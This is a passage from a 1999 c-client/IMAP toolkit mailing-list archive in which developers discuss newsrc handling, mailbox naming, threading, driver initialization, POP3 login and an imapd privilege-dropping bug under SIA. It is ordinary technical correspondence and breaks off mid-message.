Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA08351 for ; Thu, 18 Mar 1999 10:53:34 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA25344; Thu, 18 Mar 1999 10:53:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id KAA14689; Thu, 18 Mar 1999 10:49:01 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA46212 for ; Thu, 18 Mar 1999 10:46:07 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (sdennis@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id KAA13632 for ; Thu, 18 Mar 1999 10:46:07 -0800 Message-Id: Date: Thu, 18 Mar 1999 10:44:15 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: C-Client mailing list Subject: re: How to get .newsrc updated? In-Reply-To: <199903181817.SAA00140@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 18 Mar 1999 18:17:07 +0000 (GMT), Karsten Ballueder wrote: > How do I correctly mark messages so that they will not show up again next > time and .newsrc gets updated? Marking them as deleted doesn't seem to > help either. The way to do it is to mark the messages as deleted. Try reading a newsgroup through mtest and it if deleting a message works there, the problem is in your code someplace. From pinedev@shivax2.cac.washington.edu Tue Mar 23 09:12:49 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Mar 1999 09:12:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA23285 for ; Tue, 23 Mar 1999 09:12:48 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA12984; Tue, 23 Mar 1999 09:12:46 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id JAA22682; Tue, 23 Mar 1999 09:12:38 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA23540 for ; Tue, 23 Mar 1999 09:10:33 -0800 Received: from phy.hw.ac.uk (innpin.phy.hw.ac.uk [137.195.28.2]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id JAA01306 for ; Tue, 23 Mar 1999 09:10:11 -0800 Received: from nevis (nevis [137.195.28.38]) by phy.hw.ac.uk (8.8.8/8.8.8) with ESMTP id RAA13055 for ; Tue, 23 Mar 1999 17:09:56 GMT Message-Id: <199903231709.RAA13055@phy.hw.ac.uk> Date: Tue, 23 Mar 1999 17:09:56 +0000 (GMT) Reply-To: karsten@phy.hw.ac.uk Sender: owner-c-client@u.washington.edu Precedence: bulk From: Karsten Ballueder To: C-Client mailing list Subject: mail parameters and news spool vs nntp MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Content-Disposition: INLINE X-Face: &dD[PF]+xd[=UM/+Kck=s[Toj/_GKiL&}*"uCT]>saEa5@Ux-P?vpT~1[<'A`Kh~C0V /Q>kj)>t]rT9g`ez2rkK3y[\,>2*A^9BRDuD!y3e~Kw%_-a)T&OfLn<,W?qQ!$Hue;?ZF>hQI9~R=C d|PGg Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Tue, 23 Mar 1999 16:16:58 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA02958 for ; Tue, 23 Mar 1999 16:16:56 -0800 (PST) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA25943; Tue, 23 Mar 1999 16:16:54 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id QAA21378; Tue, 23 Mar 1999 16:16:45 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA43152 for ; Tue, 23 Mar 1999 16:15:55 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA01143 for ; Tue, 23 Mar 1999 16:15:54 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (hawk@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id QAA11996; Tue, 23 Mar 1999 16:15:51 -0800 Message-Id: Date: Tue, 23 Mar 1999 15:48:18 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: karsten@phy.hw.ac.uk Cc: C-Client mailing list Subject: re: mail parameters and news spool vs nntp In-Reply-To: <199903231709.RAA13055@phy.hw.ac.uk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 23 Mar 1999 17:09:56 +0000 (GMT), Karsten Ballueder wrote: > - mail_parameters() takes a mailstream argument, however the docs say that > the "operational parameters" are global. I was hoping that it would be > possible to set e.g. the name of the newsrc file or the connection port > number on a per-stream basis? To set the connection port per-stream, put it as part of the mailbox name, e.g.: {mynewsserver.com:10569/nntp}alt.bombastic.blurdybloop For more information, please read section III of naming.txt in the docs/ subdirectory of the IMAP toolkit distribution. The mail_parameters() call for setting the NNTP port is to set an overriding default if the port isn't specified in the name. Otherwise, the port number for service "nntp" is used, or failing that a wired-in constant. It is not currently possible to set the newsrc file name on a per-stream basis. The MAILSTREAM argument to mail_parameters() is currently ignored. If a per-stream facility is implemented, the MAILSTREAM argument will be used, but until the exact semantics are defined, you shouldn't use anything other than NIL for this argument. > If not, can I just change the global parameter before opening the new > stream, or will this have side-effects for already open stream (i.e. when > closing them and writing back the newsrc.)? The current SET_NEWSRC name is used every time the mailbox flags are read or updated. This happens at the following times with NNTP and local newsgroups: mail_open() mail_close() mail_check() mail_lsub() mail_subscribe() mail_unsubscribe() So, if you set it to the correct name before any of these calls, you'll accomplish what you want. I don't particularly recommend doing this, but it's probably the only way to get what you want with the current version. > - I currently access NNTP servers just fine and saw that there is code for > accessing a local newsspool as well. How can I do this? The relevant > code in mail.c doesn't seem to recognise a "/news" parameter, like a > "/nntp". Or, more generally, how can I specify which driver to use for a > given stream? Please read drivers.txt and naming.txt, both in the docs/ subdirectory of the IMAP toolkit distribution. The appropriate driver is automatically selected for the mailbox. The way that you reference the newsgroup named "alt.bombastic.blurdybloop" vs. some user's mailbox named "alt.bombastic.blurdybloop" is to use the IMAP namespace syntax; that is, prefix with "#news.", e.g. "#news.alt.bombastic.blurdybloop". > - Last, I saw that there are some mail_thread_xx() functions in mail.c > which aren't documented. As I was about to implement my own code to > parse the References headers and thread messages, I hope using these could > save me some work. Could you explain me how to use them, or maybe supply > some sample code snippet? The only function which you should call is mail_thread(); the other functions are internal to c-client. mail_thread() accepts a stream argument, the name of a threading algorithm, and then charset/searchpgm/flags ala mail_search() and mail_sort(). At the current time, the only supported threading algorithm is ORDEREDSUBJECT, which is a type of "poor man's threading". ORDEREDSUBJECT sorts by subject with a secondary sort of message date, and then for sets of messages with identical subjects (which constitute a single "poor man's thread"), sorts the sets by the date of the first message in the set. The returned value is a THREADNODE *, which holds the message number and pointers to THREADNODE * for the next message in the thread and the head of a parallel thread branch at this point of the tree. From pinedev@shivax2.cac.washington.edu Wed Mar 24 02:51:26 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 02:51:25 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA31689 for ; Wed, 24 Mar 1999 02:51:23 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA04817; Wed, 24 Mar 1999 02:51:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id CAA07986; Wed, 24 Mar 1999 02:51:17 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA33150 for ; Wed, 24 Mar 1999 02:50:22 -0800 Received: from harry.RZ-Berlin.MPG.DE (harry.RZ-Berlin.MPG.DE [141.14.142.48]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id CAA18053 for ; Wed, 24 Mar 1999 02:50:21 -0800 Received: from yawn.RZ-Berlin.MPG.DE (Yawn.RZ-Berlin.MPG.DE [141.14.128.228]) by harry.RZ-Berlin.MPG.DE (8.9.1a/8.9.1) with ESMTP id LAA11155 for ; Wed, 24 Mar 1999 11:50:19 +0100 (MET) Received: (from root@localhost) by yawn.RZ-Berlin.MPG.DE (8.9.1/8.9.1) id LAA24657 for c-client@u.washington.edu; Wed, 24 Mar 1999 11:50:18 +0100 (MET) Message-Id: <199903241050.LAA24657@yawn.RZ-Berlin.MPG.DE> Date: Fri, 19 Mar 1999 17:49:06 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Donald Buczek To: Mark Crispin Cc: David Henry , c-client Interest List Subject: RE: read only #public? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Cirspin wrote (long ago - Mar 98) : > OK, thanks. I'll make LOGINPW=sec be the standard. DEC was insistant that I > use the SIA routines, but it seems that they don't really work. We've had > problems with them here too. I used the imapd of a rather old version of c-client (4.1 BETA) for a long time without any problems. When other users started to use imap, they found deleted mails were reappearing in their mailbox. Of course, first I blamed the netscape-client. Then I analyzed the protocol and discovered that it was a server bug (users folders were wrongly selected READ-ONLY). Installing 4.5 fixed it. Anyway, I tracked it down later and the bug is related to SIA. Searching though your c-client archives and comment in osdep/unix/Makefile, I found you had unresolved problems with it before. I case you are still interested: sia_become_user() doesn't change the real user id. This is documented, but not very clearly. sia_become_user(3) says, it uses sia_ses_launch(). Quote sia_ses_launch(3): > On the return from sia_ses_launch(), the effective UID (EUID) has been set > to the UID of the user for this session. Generally, a > setreuid(geteuid(),geteuid()) follows this return setting both the real > user ID (RUID) and effective user ID (EUID) to the effective user ID > (EUID). The remaining processing is utility dependent. reasoning: it is up the application, wether it wants to permanently drop root privileges or not. imapd failed to do so, which was a security risk. The current module for os4, log_sec.c, uses setuid(), which changes both euid and ruid when called as root. Additionally the unix mailbox driver unix.c uses the system call access() to check for mailbox access. This function checks access against the ruid - not against the euid. Checking access against 'root' instead of the logged in user may improve privilege (David Henrys problem) or reduce privilege (my problem - home directories are on nfs server, most of them exported to map remote root to anonymous). I'd vote that sia_xxx is to complicated and non-standard to use. setreuid() should do. IMO, using access() to check access to the mailbox is also wrong. access() checks against the ruid, because it has a very special purpose: to allow suid-programs to check, whether the caller had access to the file, before the uid was changed. The best general way to check access to a file is to try to open it. This covers anything ( including acls, read-only filesystems , remote files systems with other security semantic etc.) btw: Thanks to everybody who is involved in the development of this great software ! Thanks for making it available. Ciao Donald [ dear listserv, this is a retry and its raining here. ] -- Donald Buczek buczek@MPIMG-Berlin-Dahlem.MPG.DE +49 30 8413 1433 From pinedev@shivax2.cac.washington.edu Wed Mar 24 05:18:24 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 05:18:24 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA25244 for ; Wed, 24 Mar 1999 05:18:22 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA07182; Wed, 24 Mar 1999 05:18:21 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id FAA21587; Wed, 24 Mar 1999 05:18:16 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA10960 for ; Wed, 24 Mar 1999 05:17:43 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA25024 for ; Wed, 24 Mar 1999 05:17:42 -0800 Received: from penguin.ecoast.ca (ip142166042066.nbtel.net [142.166.42.66]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA07172 for ; Wed, 24 Mar 1999 05:17:42 -0800 Received: (from cclient@localhost) by penguin.ecoast.ca (8.8.7/8.8.7) id JAA18635 for c-client@cac.washington.edu; Wed, 24 Mar 1999 09:17:41 -0400 Message-Id: <199903241317.JAA18635@penguin.ecoast.ca> Date: Wed, 24 Mar 1999 09:17:41 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: cclient@ecoast.ca To: c-client@CAC.Washington.EDU Subject: Sample smtp mailing code X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Does anyone have any easy to follow code on constructing the data structures for use in smtp_mail ? Right now I'm using a direct call to sendmail and I'd like to use the actual library. The examples for accessing mailboxes are easy to follow but I haven't found anything on sending email (except the source code for pine) Thanks Derek -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 24 05:56:28 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 05:56:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA25614 for ; Wed, 24 Mar 1999 05:56:27 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA07735; Wed, 24 Mar 1999 05:56:25 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id FAA22386; Wed, 24 Mar 1999 05:56:21 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA35992 for ; Wed, 24 Mar 1999 05:55:35 -0800 Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id FAA23812 for ; Wed, 24 Mar 1999 05:55:34 -0800 Received: from goofy_ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by alpha.netvision.net.il (8.9.3/8.8.6) with ESMTP id PAA20004 for ; Wed, 24 Mar 1999 15:55:29 +0200 (IST) Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Wed, 24 Mar 1999 15:54:30 +0200 Message-Id: <3088149C03DDD211AAD800105A057CB0206D24@GOOFY_EX.QUANTUM.icomverse.com> Date: Wed, 24 Mar 1999 15:54:26 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client'" Subject: A mailbox driver initialization function. MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I'd like to add a function (two actually) to the interface of the mailbox driver. As it happens, I have a need to perform an initialization operations on the mailbox driver. I could have done that in driver_open, but it is extremely inconvinient. I'd rather have a function driver_init(), that is called on startup and driver_uninit(), that is called before the termination (but after close()). Is it a reasonable request for those to be added to the DRIVER structure? -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 24 08:23:06 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 08:23:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA26888 for ; Wed, 24 Mar 1999 08:23:04 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA10769; Wed, 24 Mar 1999 08:23:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA08418; Wed, 24 Mar 1999 08:22:55 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA43122 for ; Wed, 24 Mar 1999 08:22:01 -0800 Received: from alpha.netvision.net.il (alpha.netvision.net.il [194.90.1.13]) by mxu3.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA05038 for ; Wed, 24 Mar 1999 08:21:59 -0800 Received: from goofy_ex.icomverse.com (goofy-ex.icomverse.com [199.203.140.35]) by alpha.netvision.net.il (8.9.3/8.8.6) with ESMTP id SAA25960 for ; Wed, 24 Mar 1999 18:21:57 +0200 (IST) Received: by GOOFY_EX.QUANTUM.icomverse.com with Internet Mail Service (5.5.2448.0) id ; Wed, 24 Mar 1999 18:20:57 +0200 Message-Id: <3088149C03DDD211AAD800105A057CB0206D27@GOOFY_EX.QUANTUM.icomverse.com> Date: Wed, 24 Mar 1999 18:20:47 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Rubinstein, Dmitry" To: "'c-client'" Subject: Login using ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi! I'm using the UW IPOP3d in a non-standard setting. I'd like to perform the login using the underlying mail store, accessed through mailbox driver. Instead the login() function in ipop3d.c performs a login through the standard OS login mechanism (NT in my case). I had to comment out the corresponding section in login(). I'm not so sure regarding the reason to not using the auth_* mechanism for POP3 authentication here. Mark, have I missed something up completely? -- Dmitry Rubinstein <*> Home: (972)-8-8647229 Cell: (972)-53-428979 dimrub@icomverse.com http://www.wisdom.weizmann.ac.il/~dimrub -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Mar 24 08:43:01 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 08:43:00 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA15791 for ; Wed, 24 Mar 1999 08:42:59 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA11385; Wed, 24 Mar 1999 08:42:57 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA16717; Wed, 24 Mar 1999 08:42:52 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA10086 for ; Wed, 24 Mar 1999 08:42:11 -0800 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA26713 for ; Wed, 24 Mar 1999 08:42:11 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (linus@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA13789; Wed, 24 Mar 1999 08:42:06 -0800 Message-Id: Date: Wed, 24 Mar 1999 08:39:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client'" Subject: re: Login using ipop3d In-Reply-To: <3088149C03DDD211AAD800105A057CB0206D27@GOOFY_EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 24 Mar 1999 18:20:47 +0200, Rubinstein, Dmitry wrote: > I'm using the UW IPOP3d in a non-standard setting. I'd like to perform the > login using the underlying mail store, accessed through mailbox driver. > Instead the login() function in ipop3d.c performs a login through the > standard OS login mechanism (NT in my case). I had to comment out the > corresponding section in login(). I'm not so sure regarding the reason to > not using the auth_* mechanism for POP3 authentication here. Mark, have I > missed something up completely? The auth_* mechanism is used by the POP3 AUTH (and the IMAP AUTHENTICATE) command. These routines are for SASL, not password checking (although there are SASL mechanisms for password checking). The checkpw mechanism is used by the POP3 PASS (and the IMAP LOGIN) command. From pinedev@shivax2.cac.washington.edu Wed Mar 24 08:53:43 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Mar 1999 08:53:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA27263 for ; Wed, 24 Mar 1999 08:53:42 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA11459; Wed, 24 Mar 1999 08:53:41 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id IAA09552; Wed, 24 Mar 1999 08:53:35 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA36696 for ; Wed, 24 Mar 1999 08:53:07 -0800 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxu2.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA12402 for ; Wed, 24 Mar 1999 08:53:07 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (mhmcg@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id IAA08171; Wed, 24 Mar 1999 08:53:01 -0800 Message-Id: Date: Wed, 24 Mar 1999 08:43:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: "Rubinstein, Dmitry" Cc: "'c-client'" Subject: re: A mailbox driver initialization function. In-Reply-To: <3088149C03DDD211AAD800105A057CB0206D24@GOOFY_EX.QUANTUM.icomverse.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 24 Mar 1999 15:54:26 +0200, Rubinstein, Dmitry wrote: > As it happens, I have a need to perform an initialization operations on the > mailbox driver. I could have done that in driver_open, but it is extremely > inconvinient. This is the typical way that this is done. In either the open method, or perhaps in a common subroutine (e.g. "convert mailbox name to driver-specific identifier"), do something like: static int once = -1; . . . if (!++once) { ... do once-only initialization code... } Take a look at how mh.c initializes the mh_path string. Another way is to add a call to the linkage.c module that is generated by the makefile. > I'd rather have a function driver_init(), that is called on > startup and driver_uninit(), that is called before the termination (but > after close()). Is it a reasonable request for those to be added to the > DRIVER structure? It's reasonable, but the cost of doing it probably exceeds the benefits. The "startup" hook is easy enough to do in the driver (e.g. the once-only example above) as above. This has the advantage of being completely self contained in the driver, without requiring changes to all the other drivers which don't need such startup code. The "termination" hook has a different problem; there is no termination code in c-client at all, other than a fatal halt. What this means is that even if we put in a termination method, there's no reason to expect that any existing c-client applications would ever call it. So it wouldn't buy anything other than for your program (since presumably your program would know to call it). But in that case, you could just call the driver termination code yourself. Another possibility is to have, in the driver, a static that is a count of the open mailstreams for that driver. This is a variation of the "once" technique that I demonstrated above, but this time, we have the driver's close method decrement the value. There's a few other things that you'll need to deal with, such as what to do if list/lsub/create/delete/rename/etc. need to have the driver in initialized state and keeping things right. But that's not anything that should unduly distress a clever programmer. From pinedev@shivax2.cac.washington.edu Fri Mar 26 18:01:34 1999 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Mar 1999 18:01:33 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA12926 for ; Fri, 26 Mar 1999 18:01:32 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id SAA18929; Fri, 26 Mar 1999 18:01:31 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with SMTP id SAA08812; Fri, 26 Mar 1999 18:01:22 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA39298 for ; Fri, 26 Mar 1999 17:59:42 -0800 Received: from andrew.triumf.ca (andrew@andrew.Triumf.CA [142.90.106.59]) by mxu4.u.washington.edu (8.9.3+UW99.02/8.9.3+UW99.01) with ESMTP id RAA19450 for ; Fri, 26 Mar 1999 17:59:41 -0800 Received: from localhost (andrew@localhost) by andrew.triumf.ca (8.8.5/8.8.5) with SMTP id RAA22910 for ; Fri, 26 Mar 1999 17:59:36 -0800 Message-Id: Date: Fri, 26 Mar 1999 17:59:35 -0800 (PST) Reply-To: Andrew Daviel Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Andrew Daviel To: C-CLIENT Subject: Disable namespaces, random browsing in imapd 4.5 ?? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I recently built imapd 4.5 on Linux and Irix, which we are intending to use shortly with Netscape (4.5 ??) as our site email system, taking over from telnet or POP3 to VMS. We are learning as we go, making all the usual mistakes no doubt... 1. We felt that the namespace information which is negotiated by Netscape is confusing and unnecessary for our normal users, particularly the appearance of the anonymous ftp hierarchy and Usenet news as folders, and the appearance of some #mh folders was confusing for one user who had some historic mh files in her home directory, until we figured out (more-or-less) what was going on. Is there any way to disable this feature ? 2. While experimenting with the Netscape Messenger configuration (see #3 below), I found I could set the "IMAP server directory" to "/" and allow Netscape to browse the entire filesystem and potentially create folders at random, such as in /tmp. This is not really a problem on our application server, where everyone has real accounts and can go clean up, but we are commissioning a mail server where users have captive accounts (perhaps not the best way, but we understand it) and in theory no access to the filesystem beyond their home directory. Is there a way to restrict this kind of access ? It seemed to me one could perhaps set the black-box-directory parameter in the 